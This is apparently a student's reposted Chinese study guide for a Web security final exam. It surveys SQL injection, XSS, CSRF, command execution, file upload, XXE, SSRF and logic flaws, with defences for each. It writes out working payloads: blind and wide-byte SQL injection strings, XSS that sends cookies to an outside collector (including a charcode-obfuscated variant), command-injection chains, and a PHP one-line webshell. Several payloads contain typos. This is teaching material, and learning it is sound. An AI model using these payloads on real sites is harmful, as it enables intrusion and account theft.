【Web安全技术】期末复习知识点整理

1.网站信息收集

路径信息收集/目录扫描会让我们发现这个网站存在多少个目录,多少个页面,探索出网站的整体结构,通过目录扫描我们还可以获取敏感文件、后台文件、数据库文件等。
使用工具:7kbscan-WebPathBrute、dirsearch、dirmap、wscan
指纹信息:攻击者最常用的方法是覆盖目标网络存在并枚举尽可能多的信息,以便制定出准确的攻击方案,有效利用目标主机正在使用的软件类型/版本中的漏洞。指纹识别的目的是知道当前资产的一些基本情况,可以根据不同的指纹进行对应的测试,提升测试效率。在发起攻击之前我们需要了解某一程序特征、弱点或者是历史存在的缺陷,有利于对目标进行快速了解。
使用工具:第三方网站:云悉指纹、潮汐指纹;w12scan
CMS:content management system是内容管理系统,很多网站为了简单和快速地部署服务,会使用别人开发好的CMS进行网站搭建。网站CMS查询可以帮助我们快速地定义使用的CMS,只要爆出漏洞的话就会影响很多个站点。
使用工具:第三方网站进行在线CMS指纹识别、CMS-Exploit-Framework、CMseek
WAF信息:Web Application Firewall网站应用防护系统,是通过执行一系列针对http/https的安全策略,来专门为web应用提供保护的一款产品。
使用工具:wafw00f:一个web应用防火墙指纹识别工具、SQLmap
SSL信息:HTTPS服务器需要正确的配置来提供有效的加密方式,保护用户不受中间人攻击或者密码分析,一些SSL协议的实现和设计上的漏洞已经被发现了,我们需要对HTTPS进行检查。
使用工具:sslscan
敏感文件探测:1.利用搜索引擎探测:site:xxx.com filetype:xls 2.WEB-INF/web.xml WEB-INF是Java的web应用安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行映射。3.FileScan:敏感文件扫描

2.堆叠注入

堆叠注入:stacked injection,多条sql语句一起执行,使用条件:使用条件十分有限,其有可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如php为防止sql注入机制,往往调用数据库的函数是mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
%23会被转换为#,–+也是注释语句
爆数据库的注入语句:select schema_name from information_schema.schemata limit 0,1,其中limit 0,1用来获取第一条记录,通过递增第一个参数,可以每次获取一条记录,也就是一次获取一个数据库名,直到出现错误为止。

3.SQL注入

使用SQL注入时,使用union来查询两个表的内容即联合查询,联合查询的列数应该一致,而且列数据的类型应该兼容。Eg: select title, content from new union select username, password from user; int 和 char相兼容,text 兼容char,null兼容所有类型。因为要列数相同进行联合查询,那么怎么确定列数呢?使用order by 子句,order by是根据指定的列名进行排序。也可以接受一个简单的能表示特定列的数字,所以可以通过增大order by子句中代表列的数字来识别查询中的列数。Eg:select title,content from new order by 1,逐渐增大列的数目,直到报错,则能确定列数为报错前的那一个数量。有了以上知识我们就可以在不看建表语句,不看源码的情况下判断当前查询的语句中包含多少列了。浏览器输入:?id=1 order by 1。之后就可以使用联合查询了。假设共有三列,则:

http://sqli.com/sqli-1.php?id=1 union select null, null, null

把这里的null换成1,2,3就可以知道哪个对应的位置会输出了。之后可以执行一些数据库函数如:database(),放在null处即可。
如果不知道建表语句也就是不知道都有哪些字段时该怎么办呢?
可以用information_schema.schemata输出数据库的名称,这样就可以获取数据库名称了。TABLE表中存在着所有的表名,其中table_name保存的是表名,table_schema保存的是这个表名所在的数据库,COLUMNS表中存在所有的列名,column_name中存储着表中的列名。Table_schema中存着所有数据库名称。Information_schema.tables存着所有数据库中所有表。Information_schema.columns中存着所有数据库中所有表中的所有列名。如果在某个表中查询一条记录,TABLE_SCHEMA保存了这条记录保存的字段所属数据库名,而TABLE_NAME保存的是该字段所属表名,COLUMN_NAME则是一个列名记录。

Union默认情况下会删除所有重复行,使用union all则会保留重复行。

4.SQL盲注

盲注主要应用在不能通过查询直接显示数据的地方,在盲注时,主要通过页面返回的不同来判断:
①基于布尔的盲注:主要通过页面的返回内容不同来获取信息。一旦我们注入的SQL指令被成功执行了,那么页面应该是正常显示而不是显示通用的错误信息。因为不会显示我们注入后得到的信息了,所以只能根据我们注入后已有的输出进行判断注入是否成功。使用函数substring、ascii等,substring(str,pos,length),str为被截取字段,pos表示从第几位开始截取,length表示截取的长度,length可以不传参数,则表示从pos开始到字符串结束。Ascii函数用来求字符串的ascii码。利用这两个函数,对子查询结果进行按位截取,然后获取对应的ascii码,最后跟我们指定的数字进行比较。Example:
sqli.com/sqli-bool.php?id=1 and length((select schema_name FROM schema_information.schemata LIMIT 0,1))>10,如果第一个数据库名的长度大于10,则会输出“找到记录“(源代码中写好的);
那么该如何确定数据库名称呢?
example:使用ascii对从数据库中提取出的数据库名的每一个字符进行一一比对。

id=1 and ascii(substring((select schema_name from schema_information.schemata LIMIT 0,1),1,1))>64

确定表名:

id=1 and ascii(substring((select table_name form schema_infromation.tables where table_schema=’sqli’ LIMIT 0,1),1,1))>64

确定列名:

id=1 and ascii(substring((select column_name from schema_information.columns where table_name=’user’ and table_schema=’sqli’),1,1))>64

知道列名之后就可以获得数据了:

id=1 and ascii(substring((sekect username from user LIMIT 0,1),1,1))>64

②基于时间的盲注:主要通过页面的响应时间不同来获取信息。因为布尔型盲注不适用于所有注入点,有的注入之后不会有任何输出,所以就要用到基于时间的。它主要利用页面的返回时间来判断是否正确,如果正确,则用数据库的sleep函数,使数据库延迟指定的秒数后再返回数据。Ex:1’ and if((select database()) = ‘sqli’,sleep(5),sleep(0)))-- -,其中-- -是注释,获取数据库的语句只是把where换成了if,加上了sleep(5)
③基于报错的盲注:主要通过报错的方式把想要的信息爆出来。如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。Ex:select 1,2 union count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
rand 和 group by有冲突,所以会出现错误。
在这里插入图片描述

php里” .“是用来拼接的,第29行是用两个单引号把双引号引起来然后拼接上 i d ,即“ id,即“ id,即id”,只要在注入时在id后面使用双引号闭合即可。
报错注入函数:floor(),extractvalue(),updatexml(),NAME_CONST()
构造注入如下:id=1” and extractvalue(1,concat(0x7e,(select@@version),0x7e))--+

5.绕过条件过滤

绕过条件过滤
preg_replace函数执行一个正则表达式的搜索和替换。
过滤注释:可以用初级GET盲注中的布尔方式注入eg:id=1’ and (select DATABASE()=’security’) or’
过滤or&and:可以使用&& || 可以使用anandd,oorr来绕过
过滤空格和注释:可以使用+替代空格或者用%20,%0c是换页,%09水平制表符,%0d回车,%0a换行
绕过UNION&SELECT过滤:关于正则修饰符如果是i则是大小写不敏感,如果是s则是大小写敏感。%00截断原理:0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当作结束符,系统在对文件名的读取时如果遇到%00,就会认为读取已经结束。遇到ASCII码为0的位置就停止,二这个ASCII码为0的位置在16禁止中时00,用0x开头表示16进制,也就是所说的0x00截断,%00被服务器解码为0x00,发挥了截断作用。
addslashes()函数在指定的预定义字符(‘,“,\,NULL)前添加反斜杠
mysql_real_escape_string()函数转义SQL语句中使用的字符串中的特殊字符(\x00,\n,\r,,’,”,\x1a)
宽字节注入:单引号是%27,反斜线是%5c,ascii码大于ascii(128)时自动拼接%5c。对于使用addslashes()函数的,因为在’前被加了\,所以使用宽字节注入可以绕过过滤。对于mysql_real_escape_string()虽然增加了对换行符、制表符的转义,但是仍然可以使用宽字符绕过:

id=-1%bf%27+union+select+*+from+users+where+id+=+3--+

当php.ini配置文件开启了magic_quotes_runtime和magic_quotes_gpc时,PHP中的magic_quotes_runtime()、magic_quotes_gpc()函数就会自动的对指定范围内的数据进行转义。其中,gpc函数主要作用域web客户端,简单地说主要是对$_GET,$_POST,$_COOKIE中的数据进行过滤;runtime主要是对文件中读取的数据或从数据库中查询得到的数据进行过滤。此外,还用于过滤的还有字符串操作常用函数preg_match、strlen、strcmp、strtoloewer、bl2br、htmlentities、htmlspecialchars(将特殊字符转换为与HTML等价形式,且不解析格式)等,还有isset、is_numeric(用于检查变量是否为数字或者数字字符串)、empty等表单验证函数。
绕过is_numeric()的方法:将SQL注入的payload转换为16进制表示。把1' and 1=1转换为16进制表示。

6.跨站脚本攻击

跨站脚本攻击XSS
工作原理:恶意web用户将代码植入到提供给其他用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。
分类:
反射式漏洞:(需要用户点击特定的链接才能触发)Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。产生原因:没有对用户提交的内容进行可靠的输入验证。
存储式漏洞:(会把攻击代码保存到数据库,也叫持久型XSS)该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
基于DOM的漏洞:主要通过修改页面的DOM节点形成XSS,不经过服务器,只在浏览器端解析。可以利用事件来触发,比如onclick,只要一点击就会执行脚本代码,onerror,只要在加载src的时候,如果出错就会触发onerror函数。

' οnclick=alert(/xss/) //
'><img src=123 onerror=alert(/xss/) />

XSS攻击的危害:

  1. 盗取用户cookie;
  2. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;
  3. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;
  4. 盗窃企业重要的具有商业价值的资料;
  5. 强制发送电子邮件;
  6. 网站挂马;
    跨站测试脚本:
`<script>alert(XSS TEST)</script><iframe src=http://www.hetian.com></iframe><iframe src=http://www.baidu.com width=”0” height=”0”></iframe>`

利用存储式跨站漏洞窃取用户cookie:

<script>document.write(document.cookie)</script>

session在服务端维护,不是保存在客户端。我们可以像反射型XSS一样,构造一个浏览器会自动加载的请求,比如img的src属性,然后在src属性的值里带上cookie,这样,当浏览器请求这个url的时候,就会在对方的web服务器上留下日志,而cookie保存在web日志中,当然也可以像实验步骤一一样用一个页面接收cookie更好。存储型XSS相对反射型XSS来说,它多了数据库的参与,而反射型XSS没有参与。
如何通过XSS得到用户的cookie?(只是弹出的话,我们是看不到的,只有访问该网页的人能看到)
①通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接受传过来的参数,然后再保存起来。构造JS代码发起HTTP请求,利用Image对象设置src属性,浏览器在碰到src属性时会自动请求该src指向的url,这个url就写我们接收cookie的url。构造语句:

<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>

在基于DOM的漏洞中,要想获得网页的cookie,就不能向上一行那么写,因为源代码中的InnerHTML不允许script标签内的脚本代码执行,所以才采用事件来触发,可以借助js的eval函数来执行,在测试的时候不能包含空格,所以我们构造没有空格的payload。使用String.fromCharCode函数,该函数会把数字转成其ASCII码表中对应的字符,在传入的时候使用encodeURI把cookie进行编码,然后使用String.fromCharCode把整个语句转换为ascii,然后通过String.fromCharCode还原成字符串,并将结果作为eval函数的参数。利用eval执行该代码,所以,最终的构造语句是:

 '><img src="123" onerror=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) />

在支持http-only cookies的浏览器上,Javascript是无法读取和修改http-only cookies。http-only的引入就是从防止脚本读取cookie的角度有效防御了xss漏洞的攻击。
如何防御XSS:
在用户输入和输出端进行过滤,过滤掉某些特殊字符;使用http-only属性,使得攻击者传入的JavaScript脚本无法执行,保护了用户的cookie。

7.CSRF

CSRF
当前主流的web应用都是用cookie保留会话信息的,web页面的请求携带着cookie。Cookie的这一特性使得用户始终以登录的身份访问网站,提供了便利,但是也方便了攻击者盗用身份信息执行恶意行为。
CSRF:跨站请求伪造 Cross Site Request Forgery,通过伪装来自受信任用户的请求来利用受信任网站。
用户登录并访问一个正常网站,登录成功后,网站返回用户的身份标识cookie给用户,当用户访问恶意网站时,恶意网站强制用户去向正常网站发送恶意请求,由于此时用户拥有正常网站的cookie,所以就相当于攻击者盗用了用户的身份,去访问了正常网站。
在这里插入图片描述

GET方法通过url请求来传递用户的数据,讲表单内各字段名称与其内容,以成对的字符串连接,置于url后;
POST方法通过HTTP Post机制,将表单内容各字段名称与其内容放置在html表头(Header)中一起传给服务器。
CSRF危害:攻击者以你的名义发送恶意邮件,盗取你的账号用于购买商品,进行虚拟货币转账等,造成了严重的个人隐私泄露以及财产安全。
服务端防御CSRF:在前端页面增加伪随机数。

8.命令执行漏洞

命令执行漏洞
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的代码。(通俗解释:应用有时需要调用一些执行系统命令的函数,如system,exec,passthru等,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击)
&&连接的两条命令前后必须都是正确的方可执行,&连接的两条命令前面是错的,后面的也可以执行。
1、哪条命令同时含有IP(比如:127.0.0.1)和net user却只能执行成功PING命令?
答案:127.0.0.1||net user(不唯一)
2、哪条命令同时含有IP(比如:127.0.0.1)和net user都可以执行但值输出net user结果?
答案:127.0.0.1|net user(不唯一)
3、哪条命令同时含有IP(比如:127.0.0.1)和net user都可以执行并全部输出?
答案:127.0.0.1&net user(不唯一)
4、以上命令是否可以调换前后位置?
答案:不可以。
struts在2.3.5-2.3.31和2.5-2.5.10之间存在漏洞
命令执行漏洞原理:服务端没有对执行的函数做出过滤
常见的执行系统命令的函数有:
windows系统:
whoami:查看服务器用户名
ipconfig:查看本机IP地址子网掩码以及默认网关等
dir:查看本目录文件
Linux系统:
whoami:查看服务器用户名
ifconfig:查看本机IP地址子网掩码以及默认网关等
ls:列出本目录文件
pwd:查看现目录的绝对路径
system():
system函数是php函数通过调用外部程序命令来实现与系统命令函数交互达到执行系统函数的目的,system将执行结果显示输出,passthru()函数(一般用于UNIX系统)和system函数类似,执行命令并且可以将输出结果回显。exec函数也是命令执行函数。作用与system差不多,只不过exec函数可以执行,但是不回显结果,只返回执行结果的最后一行。shell_exec():与exec函数差不多,执行命令函数,但是不回显,我们可以使用echo函数把执行结果显示出来。eval() 函数可将括号里面的字符串转换为代码执行,字符串必须是合法的php代码并且用分号结束,这样才能执行代码命令。assert()函数是一个断言函数,在php里面判断一个表达式是否成立,返回真或假。如果直接将PHP代码传入也会被执行。
漏洞危害: ①继承web服务器程序的权限,去执行系统命令或读写文件②可以反弹shell
安全防护:①服务端过滤危险函数②使用自定义函数或函数库来代替外部命令
修复方案:①各种框架、插件等位置都有可能出现命令执行,升级到新版本,多打补丁②关注行业最新动态,一旦爆发命令执行漏洞,迅速修复,避免造成更大影响③少用CMS框架④可以过滤一些符号从而减少一些危险⑤安全配置好php相关参数,php配置文件里有个disable_functions=配置,这个禁止某些php函数,服务器使用这个来禁止php的执行命令函数。⑥升级中间件⑦严格控制传入变量

9.MIME

MIME全名为多用途互联网邮件扩展,最初是为了将纯文本格式的电子邮件扩展到可以支持多种信息格式而定制的。后来被应用到多种协议里,包括HTTP协议。在访问网页时,MIME type帮助浏览器识别一个HTTP请求返回的是什么内容的数据,应该如何打开、如何显示。MIME的常见形式是一个主类型加一个子类型,用斜线分割,如:text/html。Web应用通过MIME类型区分数据的不同种类,通过MIME类型来说明允许发送或接收的数据种类,文件上传中的MIME校验属于白名单的一种,通过MIME类型判断上传的文件是否合法。常用的文件上传类型的 MIME 表: text/plain(纯文本)、text/html(HTML 文档)、text/javascript(js 代码)、application/xhtml+xml、XHTML 文档)、image/gif(GIF 图像、 image/jpeg(JPEG 图像)、image/png(PNG 图像)等。MIME校验绕过方法:修改数据包中的Content-Type字段的值为允许的类型,如修改Content-Type:application/octet-stream为Content-Type:image/gif

10.文件上传漏洞

文件上传漏洞
通常web站点会有用户注册功能,而当用户登录之后大多数情况下会存在类似头像上传、附件上传之类的功能,这些功能点往往存在上传验证方式不严格的安全缺陷,导致攻击者通过各种手段绕过验证,上传非法文件。
危害:攻击者绕过上传验证机制上传恶意文件,通过上传的web后门获得整个web业务的控制权,复杂一点的情况是结合web服务器的解析漏洞来获取权限。
一句话木马:

<?php @eval($_POST[‘test’]);?>

一些网站会对上传的文件进行文件名随机修改,防止攻击者通过源文件连接webshell,如果不通过burpsuite抓包检测很难发现这一点。
在这里插入图片描述

strrchr函数用来找对应字符从右边起第一个位置,然后返回该字符后面的内容。根据源代码可以看出没有对后缀名进行去空处理,可以在后缀名后面加空格进行绕过。用burpsuite进行抓包,修改filename,增加空格。
漏洞修复:
①将上传的目录设置为不可执行
②判断文件类型:结合MIME type、后缀检查等方式,推荐文件类型检查使用白名单的方式
③使用随机数改写文件名和文件路径“

绕过黑名单:通过::$DATA绕过实现文件上传、通过构造点+空格+点的形式实现文件上传、双后缀名绕过实现文件上传。
绕过内容检查:绕过文件头检查,添加GIF图片的文件头绕过GIF图片检查,上传图片马,配合文件包含漏洞执行webshell、突破getimagesize(),配合文件包含漏洞执行webshell(getimagesize函数获取文件类型,直接上传图片马,添加GIF图片的文件头绕过GIF图片检查)、还可以通过上传.php文件,修改content-type,添加GIF图片的文件头GIF89a进行绕过。
绕过白名单检查实现文件上传:通过修改MIME类型,使其符合$_FILES['upload_file']['type']的白名单,达到上传恶意文件的目的、$img_path直接拼接,利用%00截断进行绕过,上传恶意文件并通过浏览器连接webshell
%00截断:url发送到服务器后被服务器解码,这是还没有传到验证函数,也就是说验证函数里接收到的不是%00解码后的内容,即解码成了0x00,总之就是%00被服务器解码为0x00发挥了截断作用。

11.XXE

XXE:全称XML外部实体注入漏洞,XML可扩展标记语言,用于标记电子文件使其具有结构性的标记语言,XML文档结构包括xml声明、DTD文档类型定义、文档元素。DTD文档类型定义document definition的作用是定义XML文档的合法构建模块,它使用一系列的合法元素来定义文档结构,可以在XML文档内声明,也可以外部引用。Entity实体,XML中的实体类型(字符实体、命名实体(内部实体)、外部普通实体、外部参数实体,除外部参数实体外,其他实体都以&开始,以;结束)
DTD:内部声明:<!DOCTYPE 根元素 [元素声明]>

外部声明:<!DOCTYPE 根元素 SYSTEM “文件名”>
内部实体:<!ENTITY 实体名称 “实体的值”>
外部实体:<!ENTITY 实体名称 SYSTEM “URI/URL”>
外部参数实体:<!ENTITY % 实体名 “实体内容”>

无回显的XXE漏洞读取文件内容,需要构建一条带外信道提取数据。
XXE漏洞检测:
(1)观察请求中是否存在Content-Type为xml相关的数据包,以及是否发送xml请求数据,则程序后端大概率存在xml解析逻辑(2)业务上传xml文件数据的请求接口,可通过上传含外部实体加载的POC去验证是否存在漏洞。
XXE漏洞防御:对于php禁止加载外部实体;对于java禁用DTD
XXE攻击形式:带内数据实体注入、基于错误的实体注入和带外数据实体注入(带内数据实体注入:in-band ,XML解析后的数据会直接显示在屏幕上;基于错误:error-based,解析结果只有一大堆的错误;带外数据:out-of-band,也叫XXE盲注,注入的XML解析后无任何输出响应,必须执行一些带外请求把数据提取出来。)
XXE注入能做什么:
任意文件读取
SSRF,服务端请求伪造,借助漏洞实现内网探测
DOS攻击
远程命令执行

12.SSRF

SSRF漏洞分析与实践
服务器请求伪造,是攻击者让服务端发起构造的指定请求链接造成的漏洞
在这里插入图片描述

由于存在防火墙的防护,导致攻击者无法直接入侵内网;这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用以及获取内网的数据。
形成原因:大都是由于服务端提供了从其他服务器获取数据的功能,比如使用户从指定的URLweb应用获取图片、下载文件、读取文件内容等。但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。最常见的例子:攻击者传入一个未经验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。
SSRF与CSRF的区别
CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的cookie信息伪造用户请求发送至服务器;
SSRF是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其它服务器。
在这里插入图片描述

SSRF漏洞修复:
限制协议为HTTP、HTTPS
禁止30x跳转
设置URL白名单或限制内网IP

13.逻辑漏洞

支付逻辑漏洞:
分类:
1.支付过程中可直接修改数据包中的支付金额:应对方法:在数据库中存储商品的价格,并在订单支付时对商品的价格进行验证。
2.没有对购买数量进行限制:进行if判断,if num<1 num=1
3.购买商品编号篡改
4.支付逻辑顺序执行缺陷
5.请求重放
6.程序的异常处理
修复方案:
对传递重要的参数信息应当加密隐藏
传递多个参数之间应当检测数据的一致性
权限绕过漏洞:
越权漏洞的主要原因时开发人员在对数据进行增删查改时对客户端请求的数据过分相信而遗漏了权限的判定。主要有水平越权和垂直越权。
水平越权:相同级别的用户或者同一角色的不同用户之间,可以越权访问、修改或者删除的非法操作,如果出现此类漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。
垂直越权:是不同级别之间或不同角色之间的越权。分为向上越权和向下越权,比如管理员有发布文章、删除文章等权限,一个低权限用户如果也可以有相同操作,则叫做向上越权。向下越权是高级别用户访问低级别用户的信息。
在这里插入图片描述

可以看到在对密码更改的用户进行uid查询时的条件只是验证了其用户名(第26行),这样就导致了越权修改密码,修复的方法就是在对更改密码的用户查询时添加其帐号和密码进行条件限制,从而避免越权修改密码,将26行注释掉,并取消24行注释。
密码找回漏洞:许多网站都提供了找回密码的功能,如果既能找回自己的密码,也能找回别人的密码就存在密码找回漏洞。
密码找回凭证存在cookie中:
在这里插入图片描述

修复方法就是去掉第84行,这样cookie中就不会存在验证码sendcode了。
重置密码凭证太弱,导致容易被爆破:
在这里插入图片描述

就是年月日+四位随机数,使用burp suite很容易就攻破了,修复方案:生成的新密码应该足够复杂,加入字母符号等随机字符,使密码无规律,让恶意攻击者无法猜测。
验证码绕过漏洞:
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

我们可以首先第一次通过request模块爬取网页源代码并通过正则表达式匹配源代码中的验证码计算表达式,并计算出结果后,然后第二次通过request模块post方法将计算出来的验证码传递给captchaarithvalidate.php页面并得到响应信息,需要注意的是第二次通过request模块传递验证码时要带上第一次请求过后的cookie,以保证两次请求都是在一次会话中完成的,如果不带cookie的话,那么第二次请求时,就会产生新的验证码。
验证码绕过漏洞的防御
验证码安全至关重要,一旦被破解,将损失不可预估的数据,因此设置验证码时,可以参考以下几点:
(1)强制要求输入验证码,否则,必须实施IP策略。 注意不要被X-Forwarded-For绕过了。
(2)验证码只能用一次,用完立即过期!不能再次使用
(3)验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。
(4)大网站最好统一安全验证码,各处使用同一个验证码接口。
做到以上一点,相信可以抵御绝大部分的攻击了。
URL跳转漏洞:

在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_45746168/article/details/129488719